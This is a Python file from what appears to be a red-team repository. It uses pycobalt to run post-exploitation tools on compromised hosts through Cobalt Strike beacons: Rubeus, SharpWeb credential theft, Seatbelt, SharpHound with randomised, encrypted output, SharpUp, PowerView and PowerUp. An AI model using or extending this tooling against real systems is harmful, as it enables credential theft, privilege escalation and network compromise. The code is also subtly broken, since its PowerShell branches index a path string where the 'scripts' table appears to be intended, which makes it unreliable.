-
Notifications
You must be signed in to change notification settings - Fork 6
/
external.py
78 lines (66 loc) · 2.61 KB
/
external.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import sys
import utils
sys.path.insert(0, utils.basedir('pycobalt'))
import pycobalt.engine as engine
import pycobalt.events as events
import pycobalt.commands as commands
import pycobalt.aliases as aliases
import pycobalt.aggressor as aggressor
import pycobalt.callbacks as callbacks
import pycobalt.helpers as helpers
from pycobalt.helpers import powershell_quote
from pycobalt.helpers import cmd_quote
tools = '/share/tools'
powershell = '{}/powershell'.format(tools)
post_exploitation = '{}/post_exploitation'.format(tools)
# Callback functions
def run_sharphound(bid, args, silent=False):
temp = helpers.guess_temp(bid)
args = ['--RandomFilenames', '--EncryptZip', '--JsonFolder', temp] + list(args)
run(bid, 'sharphound-raw', args, silent=silent)
# .NET programs
assemblies = {
'rubeus': '{}/Rubeus/Rubeus/bin/Release/Rubeus.exe'.format(post_exploitation),
'sharpweb': '{}/SharpWeb/bin/Release/SharpWeb.exe'.format(post_exploitation),
'seatbelt': '{}/Seatbelt/Seatbelt/bin/Release/Seatbelt.exe'.format(post_exploitation),
'sharphound-raw': '{}/recon/BloodHound/Ingestors/SharpHound.exe'.format(tools),
'sharpup': '{}/SharpUp/SharpUp/bin/Debug/SharpUp.exe'.format(post_exploitation),
#'grouper': '{}/Grouper2/Grouper2/obj/Debug/Grouper2.exe'.format(post_exploitation),
}
# PowerShell programs
scripts = {
'powerview': '{}/PowerSploit/Recon/PowerView.ps1'.format(powershell),
'powerup': '{}/PowerSploit/Privesc/PowerUp.ps1'.format(powershell),
}
# Callbacks for programs
callbacks = {
'sharphound': run_sharphound,
}
def run(bid, program, args=None, silent=False):
# no args
if not args:
args = []
if program in assemblies:
assembly = assemblies[program]
args = helpers.eaq(args)
if not silent:
aggressor.btask(bid, 'Tasked beacon to run {} {}'.format(program, args))
aggressor.bexecute_assembly(bid, assembly, args, silent=True)
elif program in powershell:
script = powershell[program]
aggressor.bpowershell_import(bid, script)
if isinstance(args, list) or isinstance(args, tuple):
args = ' '.join(powershell_quote(args))
aggressor.bpowerpick(bid, ' '.join(args))
elif program in callbacks:
callback = callbacks[program]
callback(bid, args, silent=silent)
else:
raise RuntimeError('Unrecognized program: {}'.format(program))
def import_script(bid, program):
if program in powershell:
script = powershell[program]
aggressor.bpowershell_import(bid, script)
else:
raise RuntimeError('Not a known script: {}'.format(program))